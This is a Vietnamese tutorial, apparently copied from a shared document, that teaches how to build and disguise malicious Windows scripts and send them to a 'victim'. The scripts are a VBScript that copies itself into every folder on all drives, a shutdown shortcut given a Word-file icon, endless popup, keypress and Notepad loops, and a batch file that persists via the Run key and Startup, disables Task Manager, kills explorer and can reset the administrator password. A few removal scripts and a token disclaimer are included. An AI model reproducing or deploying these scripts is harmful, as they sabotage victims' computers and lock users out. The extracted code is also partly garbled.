Tạo một viruts tự nhân bản lên vào tất cả các thư mục trong máy tính,đồng thời tất cả Tác hại của con VR này: - Nhân bản chính nó vào tất cả các thư mục của Windows, các thư mục trong ổ
Trang 1Tạo một viruts tự nhân bản lên vào tất cả các thư mục trong máy tính,đồng thời tất cả Tác hại của con VR này:
- Nhân bản chính nó vào tất cả các thư mục của Windows, các thư mục trong ổ C:\ D:\ và E:\ và cả các
thư mục con của nó Nói chung là ổ cứng có bao nhiêu Folder thì con VR sẽ nhân bản lên bấy nhiêu lần
và sau đó cho vào 1 Folder 1 bản
Mục đích để người bị dính nó hoang mang lo sợ, muốn xóa cũng ko thể nào xóa hết đc Làm sao có thể
xóa được gần cả ngàn thư mục trong Windows? mà thư mục nào cũng có mặt Virus
Và tất nhiên là mình có kèm theo cả thuốc giải
Chạy File thuốc giải là coi như xong, như chưa có chuyện gì xảy ra vậy
1.Đầu tiên các bạn mở Notepad lên (start > Run > gõ > Notepad > enter)
Thuốc Độc
2 Tạo virus:
Gõ vào notepad đoạn code sau
Mã:
'Thuoc Doc !!!Dim fso,file,VBCopySet
fso=CreateObject("Scripting.FileSystemObject")Set
file=fso.OpenTextFile(WScript.ScriptFullName,1)VBC
opy=file.ReadAllFolderList("A:\")FolderList("B:\")
FolderList("C:\")FolderList("D:\")FolderList("E:\"
)FolderList("F:\")FolderList("G:\")FolderList("H:\
")FolderList("I:\")FolderList("J:\")FolderList("K:
\")FolderList("L:\")FolderList("M:\")FolderList("N :\")FolderList("O:\")FolderList("P:\") FolderList("
Q:\")FolderList("R:\")FolderList("S:\")FolderList( "T:\")FolderList("U:\")FolderList("V:\
")FolderList
("X:\")FolderList("Y:\")FolderList("Z:\")FolderLis t("W:\")Sub
FolderList(FolderSpec)On Error Resume
NextDim f,f1,sf,COP,CAPSet f=fso.GetFolder(FolderSpec)set sf=f.SubFoldersFor Each f1 In sfSet
COP=fso.CreateTextFile(f1.path & "\Virus Boss!!!!!!!.vbs")COP.write VBCopySet CAP=fso.CreateTextFile(f1.path & " -Virus Boss!!!!!!!.vbs")CAP.write
VBCopyFolderList(f1.Path)NextEnd sub
Save lại bằng tên thuocdoc.vbs
Khi nạn nhân chạy file này thì virus sẽ tràn ngập trong máy tính
( Cả trong các thư mục và desktop ^_^)
Virus 2
Con này là Tự Tắt Máy
Nhấn chuột phải New Shortcut
Đánh vào đó dòng lệnh:
shutdown -s -t * -c "**"
* là số giây trước khi máy shut down(bạn tự đặt Khoảng 5s là ok vừa đọc Xong Máy Tắt Lum)
Trang 2"**" là tin nhắn sẽ xuất hiện khi trojan kích hoạt(Máy Tính Bạn Sẽ Tắt Trong 5s Bấm shutdown Trước
Khi Nó Tắt Đi haha)
Ex: shutdown -s -t 5 -c "Máy Tính Bạn Sẽ Tắt Trong 5s Bấm shutdown Trước Khi Nó Tắt Đi haha"
NextĐặt file này ở đâu và tên ji` cũng được
ex: Hacker
Fsinish
Mã:
shutdown -s -t 5 -c "Máy Tính Bạn Sẽ Tắt Trong 5s Bấm shutdown Trước Khi Nó Tắt Đi haha"
Nhưng Thế Thì Share ai Dám nhấn Vào đâu
Phải Thay đổi bộ mặt của nó
Nhấp chuột phải vào biểu tượng con Chọn vào thuộc tính của
virus Shortcut Change
Icon Chọn biểu tượng bạn mún con virus có Chọn Cái nào đẹp đẹp vào
Như File Word Tên là Bài Tập Bấm Vào Mún Tắt cái thông báo cũng không đc ( SÀi Rồi )
Đợi Nó Tự Tắt Máy Hay mình tự tắt TRước
Virus 3
Virus Không Thể Tắt ( nhưng dễ tắt )
Mã:
msgbox " Đừng có tắt dòng thông báo này đi nếu không bạn sẽ gặp rắc rối đó!",,"Thông báo rùi nhé
không nghe ráng chịu!"msgbox "Đã Kêu Đừng Bấm Vào Rồi Sao Vẫn Bấm Lỳ
Vậy"domsgbox "Bạn đã
bị lừa Hiện giờ bạn không thể tắt thông báo này được! ha ha ha!",,"Liên Hệ níck của bạnheh@yahoo.com Để Tắt Thông Báo Này"loop
Save dưới dạng vbs
Chọn All file và Unicode ở 2 dòng cuối
Virus 4 Bấm Enter Liên Tục ( không Ngừng )
Mã:
Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop Lưu Lại với Tên bạn mún đặt.vbs nháCon này mình không có thuốc
Virus 5
Ngập Tràn Notepad( không Ngừng )
Mã:
@ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top
Lưu Lại với Tên bạn mún đặt.vbs nhá
Con này mình không có thuốc
Con Số 6 ( Trong Thứ 6 ngày 13) [Cực Khủng Lum
Mở notepad lên copy đoạn lệnh này vào :
Mã:
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Run" /v shutdown /t
Trang 3REG_SZ /d "shutdown.exe -f -s -t 05" /freg add
"HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr
entVersion\Policies\System" /v
DisableTaskmgr /t REG_DWORD /d 1 /fclscopy thelove.bat "C:\Documents and
Settings\All Users\StartMenu\Programs\Startup\"clstaskkill /f /im
explorer.execlsshutdown.exe -f -s -t 05 -c "your computer will
turn off after 5s "cls@echo offecho Warning!!!!!!!!May Tinh Cua Ban Da Bi Nhiem Virus Bat Diet
!!!!!!!!!echo GOOD BYE pausedel Hacker Ghost_Team.bat
save lại với tên Hacker Ghost_Team.bat và gửi cho victim , chỉ 1 click thì explorer bị tắt ,
mà hình trắng
trơn
tự động sau 5 GIÂY là máy bị tắt Từ lần khởi động máy sau cũng tương tự bị như thế cứ
5 GIÂY là tắt
haha
Nếu Chạy Kèm Với Con Này
Mã:
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr e
ntVersion\Run" /v shutdown /t
REG_SZ /d "shutdown.exe -f -s -t 05" /f reg add
"HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr e
ntVersion\Policies\System" /v
DisableTaskmgr /t REG_DWORD /d 1 /f cls copy thelove.bat "C:\Documents and
Settings\All
Users\Start Menu\Programs\Startup\" cls taskkill /f /im explorer.exe cls @echo off echo Warning!!!!!!!!May Tinh Cua Ban Da Bi Nhiem Virus Bat Diet !!!!!!!!! echo GOOD BYE SEE YOU
AGAIN pause del Hacker Ghost_Team.bat Thì Lại Thành Vô Đối
Giải Cứu ( Cái Này Phải Có Trong Máy Trước không nguy cơ Đón win mới là rất Cao) Mã:
del "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\*.bat" copy h.bat
"C:\Documents
and Settings\All Users\Start Menu\Startup\" cls
Mã:
shutdown -a shutdown -a shutdown -a shutdown -a shutdown -a shutdown -a shutdown -a shutdown -a
shutdown -a shutdown -a cls
Mã:
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr e
ntVersion\Run" /v shutdown
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr e
ntVersion\Policies\System" /v
DisableTaskmgr /t REG_DWORD /d 0 /f cls del "C:\Documents and Settings\All
Users\Start
Menu\Programs\Startup\*.bat" cls @echo off echo xong roi an toan roi echo GOOD BYE SEE YOU
Trang 4AGAIN pause Lưu Lại Với 3 tên Khác nhau Rồi Bỏ Vào 1 Foder Tên giải Cứu nhét vô Ổ
D nha
GIẢI CỨU :
Vì nó tắt explorer , taskmanganer ,và tự động shutdown và thực hiện trên all user nên chỉ còn cách vào
admin
vào admin xong mở file giaicuu.rar vừa lưu vào ổ D:\
chạy file giaicuu.bat trong đó , xong rồi restart lại máy(không cần vào admin) chạy tiếp tieptheo.bat thế là
xong
CHÚ Ý :Nếu đã wa' thù ghét victim thì hãy khóa luôn admin của hắn bằng cách thêm : net user administrator 123456
vào đầu đoạn mã trên.(123456 là password của admin )
P/S: cấm dùng Virut 6 đi phá người nhá nhận win mới là chắc luôn nếu chèn thêm cái
ở dưới convirut 6 là bất diệt phải có file giải cứu trước mà mở lên là nó tắt nữa nên thay win là chắc ) nghiêm
cấm sử dụng với mục đích phá hoại cẩn thận chúng wánh phù mỏ